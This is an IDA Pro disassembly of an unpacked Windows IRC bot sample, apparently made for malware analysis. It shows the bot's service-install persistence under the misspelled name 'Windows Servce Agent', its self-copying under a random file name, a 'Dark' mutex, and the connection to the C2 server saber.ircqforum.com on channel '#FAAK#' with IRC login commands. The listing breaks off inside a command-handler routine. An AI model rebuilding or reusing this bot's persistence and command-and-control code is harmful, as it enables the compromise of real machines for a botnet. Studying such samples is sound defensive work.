;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	470B74B4EB6B6D4D665F969945350854

; File Name   :	u:\work\470b74b4eb6b6d4d665f969945350854_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 000DD000 ( 905216.)
; Section size in file		: 000DD000 ( 905216.)
; Offset to raw	data for section: 00001000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write
___		segment	para public 'DATA' use32
		assume cs:___
		;org 401000h
		assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401000	proc near		; CODE XREF: ___:00401579p
					; sub_418359+1Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, offset dword_429050
		xor	esi, esi
		mov	ebx, offset aWindowsServceA ; "Windows Servce Agent"


loc_401013:				; CODE XREF: sub_401000+69j
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		push	esi
		push	0F003Fh
		push	esi
		push	esi
		push	esi
		push	dword ptr [edi+4]
		push	dword ptr [edi]
		call	dword_4CB5D8
		cmp	[ebp+arg_0], esi
		jz	short loc_40104D
		push	[ebp+arg_0]
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	ebx
		push	[ebp+var_4]
		call	dword_4CB648
		jmp	short loc_401057
; ---------------------------------------------------------------------------


loc_40104D:				; CODE XREF: sub_401000+2Fj
		push	ebx
		push	[ebp+var_4]
		call	dword_4CB588


loc_401057:				; CODE XREF: sub_401000+4Bj
		push	[ebp+var_4]
		call	dword_4CB600
		add	edi, 8
		cmp	edi, offset dword_429068
		jb	short loc_401013
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_401000	endp


; =============== S U B	R O U T	I N E =======================================



sub_401070	proc near		; CODE XREF: sub_4010AB+56p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_0]
		push	esi
		or	esi, 0FFFFFFFFh
		test	eax, eax
		jz	short loc_4010A5
		push	ebx
		push	edi
		lea	edi, [eax]
		mov	ecx, 0FFh


loc_401089:				; CODE XREF: sub_401070+31j
		mov	al, [edx]
		mov	ebx, esi
		and	eax, ecx
		and	ebx, ecx
		xor	eax, ebx
		shr	esi, 8
		mov	eax, dword_427238[eax*4]
		xor	esi, eax
		inc	edx
		dec	edi
		jnz	short loc_401089
		pop	edi
		pop	ebx


loc_4010A5:				; CODE XREF: sub_401070+Ej
		mov	eax, esi
		pop	esi
		not	eax
		retn
sub_401070	endp


; =============== S U B	R O U T	I N E =======================================



sub_4010AB	proc near		; CODE XREF: ___:00416643p

var_10		= dword	ptr -10h
arg_0		= dword	ptr  4

		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		push	ebx
		call	sub_41B4D5
		mov	[esp+10h+var_10], offset dword_429068
		push	[esp+10h+arg_0]
		mov	esi, eax
		call	sub_41B4C2
		mov	edi, eax
		pop	ecx
		test	edi, edi
		pop	ecx
		jz	short loc_4010FA


loc_4010D0:				; CODE XREF: sub_4010AB+4Dj
		test	byte ptr [edi+0Ch], 10h
		jnz	short loc_4010FE
		inc	ebx
		push	ebx
		push	esi
		call	sub_41B202
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_4010FA
		push	edi
		push	1
		lea	eax, [esi+ebx-1]
		push	1
		push	eax
		call	sub_41B11A
		add	esp, 10h
		jmp	short loc_4010D0
; ---------------------------------------------------------------------------


loc_4010FA:				; CODE XREF: sub_4010AB+23j
					; sub_4010AB+39j
		xor	eax, eax
		jmp	short loc_401119
; ---------------------------------------------------------------------------


loc_4010FE:				; CODE XREF: sub_4010AB+29j
		dec	ebx
		push	ebx
		push	esi
		call	sub_401070
		push	esi
		mov	ebx, eax
		call	sub_41B0B1
		push	edi
		call	sub_41B05B
		add	esp, 10h
		mov	eax, ebx


loc_401119:				; CODE XREF: sub_4010AB+51j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4010AB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40111D	proc near		; DATA XREF: ___:00401235o

var_268		= dword	ptr -268h
var_25C		= byte ptr -25Ch
var_158		= byte ptr -158h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_28		= dword	ptr -28h
var_24		= word ptr -24h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 25Ch
		push	ebx
		push	esi
		push	edi
		push	dword_43E56C
		call	dword_4CB6BC
		call	sub_40B2BF
		call	dword_4CB57C
		call	dword_4CB57C
		mov	ebx, dword_427078
		push	64h
		call	ebx
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp+var_54]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 18h
		mov	[ebp+var_54], esi
		mov	esi, 104h
		lea	eax, [ebp+var_25C]
		push	esi
		push	eax
		mov	[ebp+var_48], offset dword_43D7D8
		mov	[ebp+var_28], 1
		mov	[ebp+var_24], di
		call	near ptr 2820000h
		nop
		lea	eax, [ebp+var_158]
		push	esi
		push	eax
		push	edi
		call	near ptr 2810000h
		nop
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	edi
		push	28h
		push	1
		push	edi
		lea	eax, [ebp+var_158]
		push	edi
		push	eax
		push	edi
		nop
		call	near ptr 2800890h
		test	eax, eax
		jz	short loc_4011E2
		push	64h
		call	ebx
		push	[ebp+var_10]
		mov	esi, dword_427068
		call	esi
		push	[ebp+var_C]
		call	esi


loc_4011E2:				; CODE XREF: sub_40111D+AFj
		mov	eax, [ebp+arg_8]
		mov	dword ptr [eax+0B0h], offset dword_43D7D0
		mov	eax, [esp+268h+var_268]
		mov	large fs:0, eax
		add	esp, 8
		push	edi
		nop
		call	near ptr 77E75CB5h
		pop	edi
		pop	esi
		pop	ebx


loc_401205:				; DATA XREF: ___:00429004o
		jmp	$+5
		push	0FFFFh
		push	539h
		call	sub_418684
		pop	ecx
		mov	dword_4CB360, eax
		pop	ecx
		retn
sub_40111D	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 988h
		push	ebx
		xor	ebx, ebx
		push	esi
		push	edi
		mov	[ebp-8], ebx
		mov	[ebp-0Ch], ebx
		mov	dword ptr [ebp-4], offset sub_40111D
		push	dword ptr [ebp-4]
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		mov	esi, dword_4270A8
		call	esi
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	dword_4CB364, eax
		call	esi
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_409B12
		push	2
		call	dword_4CB6D0
		push	7530h
		push	offset aDark	; "Dark"
		push	ebx
		push	ebx
		nop
		call	near ptr 283083Dh
		push	eax
		nop
		call	near ptr 2830753h
		cmp	eax, 102h
		jnz	short loc_4012A1
		push	1
		call	near ptr 77E75CB5h
		nop


loc_4012A1:				; CODE XREF: ___:00401297j
		lea	eax, [ebp-884h]
		push	eax
		push	202h
		call	dword_4CB594
		cmp	eax, ebx
		jnz	loc_4017E4
		cmp	byte ptr [ebp-884h], 2
		jnz	loc_4017DE
		xor	eax, eax
		mov	al, [ebp-883h]
		cmp	al, 2
		jnz	loc_4017DE
		mov	esi, 104h
		lea	eax, [ebp-3F0h]
		push	esi
		push	eax
		call	near ptr 2820000h
		nop
		lea	eax, [ebp-2ECh]
		push	esi
		push	eax
		push	ebx
		nop
		call	near ptr 2830635h
		push	eax
		nop
		call	near ptr 2810000h
		lea	eax, [ebp-4F0h]
		push	eax
		lea	eax, [ebp-6F4h]
		push	eax
		push	ebx
		lea	eax, [ebp-2ECh]
		push	ebx
		push	eax
		call	sub_41B9D1
		add	esp, 14h
		lea	eax, [ebp-4F0h]
		push	eax
		lea	eax, [ebp-6F4h]
		push	eax
		push	offset dword_429A94
		lea	eax, [ebp-5F4h]
		push	esi
		push	eax
		call	sub_41B980
		lea	eax, [ebp-3F0h]
		push	eax
		lea	eax, [ebp-2ECh]
		push	eax
		call	sub_41B900
		add	esp, 1Ch
		test	eax, eax
		jnz	loc_401516
		cmp	dword_42908C, ebx
		mov	esi, offset byte_429108
		jz	short loc_40139C
		push	esi
		xor	edi, edi
		call	sub_41AFE0
		sub	eax, 4
		pop	ecx
		jz	short loc_40139C


loc_401379:				; CODE XREF: ___:0040139Aj
		call	sub_41B8E2
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		push	esi
		add	dl, 61h
		mov	byte_429108[edi], dl
		inc	edi
		call	sub_41AFE0
		sub	eax, 4
		pop	ecx
		cmp	edi, eax
		jb	short loc_401379


loc_40139C:				; CODE XREF: ___:00401369j
					; ___:00401377j
		lea	eax, [ebp-3F0h]
		push	esi
		push	eax
		lea	eax, [ebp-1E8h]
		push	offset dword_429A8C
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp-1E8h]
		push	eax
		nop
		call	near ptr 2830500h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4013DC
		lea	eax, [ebp-1E8h]
		push	80h
		push	eax
		nop
		call	near ptr 28303CBh


loc_4013DC:				; CODE XREF: ___:004013C8j
		mov	esi, dword_427090
		lea	eax, [ebp-1E8h]
		push	ebx
		push	eax
		lea	eax, [ebp-2ECh]
		xor	edi, edi
		push	eax


loc_4013F3:				; CODE XREF: ___:0040142Aj
		call	esi
		test	eax, eax
		jnz	short loc_40142C
		nop
		call	near ptr 2830047h
		cmp	edi, ebx
		jnz	short loc_40142C
		cmp	eax, 20h
		jz	short loc_40140D
		cmp	eax, 5
		jnz	short loc_40142C


loc_40140D:				; CODE XREF: ___:00401406j
		push	1
		pop	edi
		push	3A98h
		nop
		call	near ptr 2820566h
		lea	eax, [ebp-1E8h]
		push	ebx
		push	eax
		lea	eax, [ebp-2ECh]
		push	eax
		jmp	short loc_4013F3
; ---------------------------------------------------------------------------


loc_40142C:				; CODE XREF: ___:004013F7j
					; ___:00401401j ...
		lea	eax, [ebp-1E8h]
		push	eax
		call	sub_418293
		pop	ecx
		lea	eax, [ebp-1E8h]
		push	7
		push	eax
		nop
		call	near ptr 28303CBh
		push	10h
		lea	eax, [ebp-20h]
		push	ebx
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp-0E4h]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 18h
		mov	[ebp-0E4h], esi
		mov	dword ptr [ebp-0D8h], offset dword_43D7D8
		mov	[ebp-0B4h], bx
		push	1
		pop	esi
		mov	[ebp-0B8h], esi
		nop
		call	near ptr 2830000h
		push	eax
		push	esi
		push	100000h
		nop
		call	near ptr 282091Ch
		lea	ecx, [ebp-2ECh]
		push	ecx
		push	eax
		lea	eax, [ebp-1E8h]
		push	eax
		lea	eax, [ebp-988h]
		push	offset dword_429A80
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp-20h]
		push	eax
		lea	eax, [ebp-0E4h]
		push	eax
		lea	eax, [ebp-3F0h]
		push	eax
		push	ebx
		push	28h
		push	esi
		push	ebx
		lea	eax, [ebp-988h]
		push	ebx
		push	eax
		lea	eax, [ebp-1E8h]
		push	eax
		call	near ptr 2800890h
		nop
		test	eax, eax
		jz	short loc_401516
		push	0C8h
		nop
		call	near ptr 2820566h
		push	dword ptr [ebp-20h]
		mov	esi, dword_427068
		call	esi
		push	dword ptr [ebp-1Ch]
		call	esi
		call	dword_4CB57C
		push	ebx
		nop
		call	near ptr 77E75CB5h


loc_401516:				; CODE XREF: ___:00401358j
					; ___:004014ECj
		cmp	dword_4DB944, 2
		jle	short loc_401562
		mov	eax, dword_4DB948
		push	dword ptr [eax+4]
		call	sub_41B779
		pop	ecx
		mov	esi, eax
		push	0FFFFFFFFh
		push	esi
		nop
		call	near ptr 2830753h
		push	esi
		nop
		call	near ptr 28005AFh
		mov	eax, dword_4DB948
		cmp	[eax+8], ebx
		jz	short loc_401562
		push	7D0h
		nop
		call	near ptr 2820566h
		mov	eax, dword_4DB948
		push	dword ptr [eax+8]
		call	near ptr 282080Eh
		nop


loc_401562:				; CODE XREF: ___:0040151Dj
					; ___:00401547j
		cmp	dword_429090, ebx
		jz	short loc_40157F
		cmp	dword_4CB6F4, ebx
		jnz	short loc_40157F
		lea	eax, [ebp-5F4h]
		push	eax
		call	sub_401000
		pop	ecx


loc_40157F:				; CODE XREF: ___:00401568j
					; ___:00401570j
		lea	eax, [ebp-0A0h]
		push	offset dword_429A64
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp-0A0h]
		push	ebx
		push	eax
		call	sub_40B0F6
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_4151AC
		push	0B80h
		push	ebx
		push	offset dword_43D7E0
		call	sub_41B590
		add	esp, 24h
		lea	eax, [ebp-0A0h]
		push	offset unk_429A40
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp-0A0h]
		push	1
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	esi, eax
		mov	edi, dword_42707C
		lea	eax, [ebp-8]
		push	eax
		push	ebx
		push	ebx
		push	offset dword_419A00
		push	ebx
		push	ebx
		call	edi
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43E574[esi], eax
		jnz	short loc_401622
		nop
		call	near ptr 2830047h
		push	eax
		lea	eax, [ebp-0A0h]
		push	offset unk_429A00
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_401622:				; CODE XREF: ___:00401605j
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_4151AC
		push	2
		call	sub_40B33E
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4016A7
		lea	eax, [ebp-0A0h]
		push	offset dword_4299D4
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp-0A0h]
		push	2
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp-8]
		push	eax
		push	ebx
		push	esi
		push	offset loc_4101FC
		push	ebx
		push	ebx
		call	edi
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43E574[esi], eax
		jnz	short loc_40169A
		nop
		call	near ptr 2830047h
		push	eax
		lea	eax, [ebp-0A0h]
		push	offset dword_4299A0
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_40169A:				; CODE XREF: ___:0040167Dj
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_4151AC
		pop	ecx


loc_4016A7:				; CODE XREF: ___:00401639j
		call	sub_41B8E2
		push	7Fh
		and	eax, 3
		push	offset aSaber_ircqforu ; "saber.ircqforum.com"
		push	offset dword_4CB36C
		mov	dword_4CB4D8, eax
		call	sub_41B5F0
		mov	eax, dword_42906C
		push	3Fh
		mov	edi, offset dword_4CB3EC
		push	offset aFaak	; "#FAAK#"
		push	edi
		mov	dword_4CB4BC, eax
		call	sub_41B5F0
		push	3Fh
		mov	esi, offset dword_4CB42C
		push	offset aSaad_	; "saad."
		push	esi
		call	sub_41B5F0
		add	esp, 24h
		mov	dword_4CB4C0, ebx


loc_4016FC:				; CODE XREF: ___:00401784j
					; ___:0040178Fj ...
		mov	[ebp-4], ebx


loc_4016FF:				; CODE XREF: ___:00401738j
		push	offset dword_4CB368
		mov	dword_4CB4D4, ebx
		call	sub_4017ED
		cmp	eax, 2
		mov	[ebp-10h], eax
		jz	loc_4017D9
		cmp	dword_4CB4D4, ebx
		jz	short loc_401726
		dec	dword ptr [ebp-4]


loc_401726:				; CODE XREF: ___:00401721j
		push	0BB8h
		nop
		call	near ptr 2820566h
		inc	dword ptr [ebp-4]
		cmp	dword ptr [ebp-4], 6
		jl	short loc_4016FF
		cmp	dword ptr [ebp-10h], 2
		jz	loc_4017D9
		cmp	[ebp-0Ch], ebx
		jz	short loc_401789
		push	7Fh
		push	offset aSaber_ircqforu ; "saber.ircqforum.com"
		push	offset dword_4CB36C
		call	sub_41B5F0
		mov	eax, dword_42906C
		push	3Fh
		push	offset aFaak	; "#FAAK#"
		push	edi
		mov	dword_4CB4BC, eax
		call	sub_41B5F0
		push	3Fh
		push	offset aSaad_	; "saad."
		push	esi
		call	sub_41B5F0
		add	esp, 24h
		mov	[ebp-0Ch], ebx
		jmp	loc_4016FC
; ---------------------------------------------------------------------------


loc_401789:				; CODE XREF: ___:00401747j
		cmp	byte_4290E4, bl
		jz	loc_4016FC
		push	7Fh
		push	offset byte_4290E4
		push	offset dword_4CB36C
		call	sub_41B5F0
		mov	eax, dword_429070
		push	3Fh
		push	offset aFaak_0	; "#FAAK#"
		push	edi
		mov	dword_4CB4BC, eax
		call	sub_41B5F0
		push	3Fh
		push	offset aSaad__0	; "saad."
		push	esi
		call	sub_41B5F0
		add	esp, 24h
		mov	dword ptr [ebp-0Ch], 1
		jmp	loc_4016FC
; ---------------------------------------------------------------------------


loc_4017D9:				; CODE XREF: ___:00401715j
					; ___:0040173Ej
		call	sub_40B2BF


loc_4017DE:				; CODE XREF: ___:004012C2j
					; ___:004012D2j
		call	dword_4CB57C


loc_4017E4:				; CODE XREF: ___:004012B5j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4017ED	proc near		; CODE XREF: ___:0040170Ap
					; DATA XREF: sub_401ACD+662Ao

var_190		= dword	ptr -190h
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_CC		= byte ptr -0CCh
var_8C		= byte ptr -8Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_2C		= byte ptr -2Ch
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 190h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	59h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_190]
		rep movsd
		mov	dword ptr [eax+160h], 1


loc_401812:				; CODE XREF: sub_4017ED+E6j
					; sub_4017ED+136j ...
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_3C]
		call	dword_4CB624
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_18C]
		push	eax
		call	sub_40AAF9
		test	eax, eax
		pop	ecx
		mov	[ebp+var_C], eax
		jz	loc_40193F
		push	1Ch
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_41B590
		push	0
		lea	eax, [ebp+var_2C]
		push	dword_4290A0
		push	dword_42909C
		push	eax
		call	sub_40B08D
		mov	edi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	1Bh
		add	eax, offset byte_43E578
		push	edi
		push	eax
		call	sub_41B5F0
		add	esp, 28h
		push	6
		push	1
		push	2
		call	dword_4CB6A4
		mov	esi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	10h
		mov	dword_43E56C[eax], esi
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	dword_4CB5CC
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4018D8
		push	esi
		call	dword_4CB6BC
		call	sub_40AB22
		push	7D0h


loc_4018CD:				; CODE XREF: sub_4017ED+146j
		nop
		call	near ptr 2820566h
		jmp	loc_401812
; ---------------------------------------------------------------------------


loc_4018D8:				; CODE XREF: sub_4017ED+CDj
		lea	eax, [ebp+var_18C]
		push	eax
		push	offset unk_429A9C
		call	sub_415220
		push	[ebp+var_38]
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_CC]
		push	[ebp+var_190]
		push	edi
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_401955
		add	esp, 28h
		mov	edi, eax
		push	esi
		call	dword_4CB6BC
		test	edi, edi
		jz	loc_401812
		cmp	edi, 1
		jnz	short loc_401935
		push	0DBBA0h
		jmp	short loc_4018CD
; ---------------------------------------------------------------------------


loc_401935:				; CODE XREF: sub_4017ED+13Fj
		cmp	edi, 2
		jz	short loc_401943
		jmp	loc_401812
; ---------------------------------------------------------------------------


loc_40193F:				; CODE XREF: sub_4017ED+5Aj
		xor	eax, eax
		jmp	short loc_40194F
; ---------------------------------------------------------------------------


loc_401943:				; CODE XREF: sub_4017ED+14Bj
		push	[ebp+var_34]
		call	sub_40B412
		pop	ecx
		push	2
		pop	eax


loc_40194F:				; CODE XREF: sub_4017ED+154j
		pop	edi
		pop	esi
		leave
		retn	4
sub_4017ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401955	proc near		; CODE XREF: sub_4017ED+123p

var_1A90	= byte ptr -1A90h
var_A90		= byte ptr -0A90h
var_2C0		= byte ptr -2C0h
var_140		= byte ptr -140h
var_A0		= byte ptr -0A0h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		mov	eax, 1A90h
		call	sub_41BB20
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	3
		mov	[ebp+var_8], ebx
		lea	eax, [ebp+var_2C0]
		pop	ecx


loc_401973:				; CODE XREF: sub_401955+26j
		mov	[eax], bl
		add	eax, 80h
		dec	ecx
		jnz	short loc_401973
		cmp	byte_4CB4D0, bl
		jz	short loc_40199A
		push	offset byte_4CB4D0
		push	offset aPassS	; "PASS	%s\r\n"
		push	[ebp+arg_0]
		call	sub_409A2C
		add	esp, 0Ch


loc_40199A:				; CODE XREF: sub_401955+2Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_20]
		push	ebx
		push	ebx
		push	2
		push	eax
		call	sub_40B08D
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_C]
		push	offset aNickSUserS00S ;	"NICK %s\r\nUSER %s 0 0	:%s\r\n"
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB674
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401A04
		push	[ebp+arg_0]
		call	dword_4CB6BC
		push	1388h
		nop
		call	near ptr 2820566h


loc_4019FD:				; CODE XREF: sub_401955+D9j
					; sub_401955+153j
		xor	eax, eax


loc_4019FF:				; CODE XREF: sub_401955+173j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_401A04:				; CODE XREF: sub_401955+92j
					; sub_401955+F8j ...
		mov	esi, 1000h
		lea	eax, [ebp+var_1A90]
		push	esi
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_1A90]
		push	ebx
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB63C
		test	eax, eax
		jle	short loc_4019FD
		lea	eax, [ebp+var_A90]
		push	eax
		lea	eax, [ebp+var_1A90]
		push	eax
		call	sub_417F7F
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_4], ebx
		jle	short loc_401A04
		lea	edi, [ebp+var_A90]


loc_401A55:				; CODE XREF: sub_401955+165j
		push	1
		pop	esi


loc_401A58:				; CODE XREF: sub_401955+144j
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	eax
		push	[ebp+arg_18]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	dword ptr [edi]
		call	sub_401ACD
		add	esp, 2Ch
		dec	eax
		mov	esi, eax
		cmp	esi, ebx
		jle	short loc_401A9B
		push	7D0h
		nop
		call	near ptr 2820566h
		jmp	short loc_401A58
; ---------------------------------------------------------------------------


loc_401A9B:				; CODE XREF: sub_401955+137j
		cmp	esi, 0FFFFFFFDh
		jz	short loc_401AC5
		cmp	esi, 0FFFFFFFEh
		jz	short loc_401AC1
		cmp	esi, 0FFFFFFFFh
		jz	loc_4019FD
		inc	[ebp+var_4]
		add	edi, 4
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_C]
		jl	short loc_401A55
		jmp	loc_401A04
; ---------------------------------------------------------------------------


loc_401AC1:				; CODE XREF: sub_401955+14Ej
		push	1
		jmp	short loc_401AC7
; ---------------------------------------------------------------------------


loc_401AC5:				; CODE XREF: sub_401955+149j
		push	2


loc_401AC7:				; CODE XREF: sub_401955+16Ej
		pop	eax
		jmp	loc_4019FF
sub_401955	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401ACD	proc near		; CODE XREF: sub_401955+12Ap

var_5D88	= byte ptr -5D88h
var_5988	= byte ptr -5988h
var_5588	= byte ptr -5588h
var_53F8	= byte ptr -53F8h
var_51F8	= byte ptr -51F8h
var_50F4	= byte ptr -50F4h
var_4FF4	= byte ptr -4FF4h
var_4EF0	= byte ptr -4EF0h
var_4DF0	= byte ptr -4DF0h
var_4CF0	= byte ptr -4CF0h
var_4BF0	= byte ptr -4BF0h
var_4AF0	= byte ptr -4AF0h
var_48F0	= byte ptr -48F0h
var_47EC	= byte ptr -47ECh
var_46EC	= byte ptr -46ECh
var_45EC	= byte ptr -45ECh
var_4588	= byte ptr -4588h
var_4488	= byte ptr -4488h
var_4288	= byte ptr -4288h
var_4188	= byte ptr -4188h
var_4088	= byte ptr -4088h
var_3F88	= dword	ptr -3F88h
var_3F84	= byte ptr -3F84h
var_3F04	= byte ptr -3F04h
var_3E00	= byte ptr -3E00h
var_3CFC	= dword	ptr -3CFCh
var_3CF8	= dword	ptr -3CF8h
var_3CF4	= dword	ptr -3CF4h
var_3CF0	= dword	ptr -3CF0h
var_3CEC	= dword	ptr -3CECh
var_3CE8	= dword	ptr -3CE8h
var_3CE4	= byte ptr -3CE4h
var_3C64	= byte ptr -3C64h
var_3BE4	= byte ptr -3BE4h
var_3B64	= byte ptr -3B64h
var_3AE4	= byte ptr -3AE4h
var_3A64	= dword	ptr -3A64h
var_3A60	= dword	ptr -3A60h
var_3A5C	= dword	ptr -3A5Ch
var_3A58	= dword	ptr -3A58h
var_3A54	= byte ptr -3A54h
var_37CD	= byte ptr -37CDh
var_37CC	= byte ptr -37CCh
var_36C8	= dword	ptr -36C8h
var_36C0	= dword	ptr -36C0h
var_36BC	= dword	ptr -36BCh
var_36B8	= dword	ptr -36B8h
var_36B4	= dword	ptr -36B4h
var_36AC	= dword	ptr -36ACh
var_36A8	= dword	ptr -36A8h
var_36A4	= byte ptr -36A4h
var_3624	= byte ptr -3624h
var_35A4	= byte ptr -35A4h
var_3524	= byte ptr -3524h
var_34A4	= dword	ptr -34A4h
var_34A0	= dword	ptr -34A0h
var_349C	= dword	ptr -349Ch
var_3498	= dword	ptr -3498h
var_3494	= dword	ptr -3494h
var_3490	= byte ptr -3490h
var_3410	= byte ptr -3410h
var_3390	= byte ptr -3390h
var_3310	= byte ptr -3310h
var_3290	= dword	ptr -3290h
var_328C	= dword	ptr -328Ch
var_3288	= dword	ptr -3288h
var_3284	= dword	ptr -3284h
var_3280	= dword	ptr -3280h
var_327C	= byte ptr -327Ch
var_31FC	= byte ptr -31FCh
var_317C	= byte ptr -317Ch
var_30FC	= byte ptr -30FCh
var_307C	= dword	ptr -307Ch
var_3078	= dword	ptr -3078h
var_3074	= dword	ptr -3074h
var_3070	= dword	ptr -3070h
var_306C	= dword	ptr -306Ch
var_3068	= byte ptr -3068h
var_2FE8	= byte ptr -2FE8h
var_2F68	= byte ptr -2F68h
var_2EE8	= byte ptr -2EE8h
var_2E68	= dword	ptr -2E68h
var_2E64	= dword	ptr -2E64h
var_2E60	= dword	ptr -2E60h
var_2E5C	= dword	ptr -2E5Ch
var_2E58	= byte ptr -2E58h
var_2D54	= dword	ptr -2D54h
var_2D50	= byte ptr -2D50h
var_2C4C	= byte ptr -2C4Ch
var_2B48	= dword	ptr -2B48h
var_2B44	= dword	ptr -2B44h
var_2B40	= dword	ptr -2B40h
var_2B3C	= byte ptr -2B3Ch
var_2ABC	= dword	ptr -2ABCh
var_2AB8	= dword	ptr -2AB8h
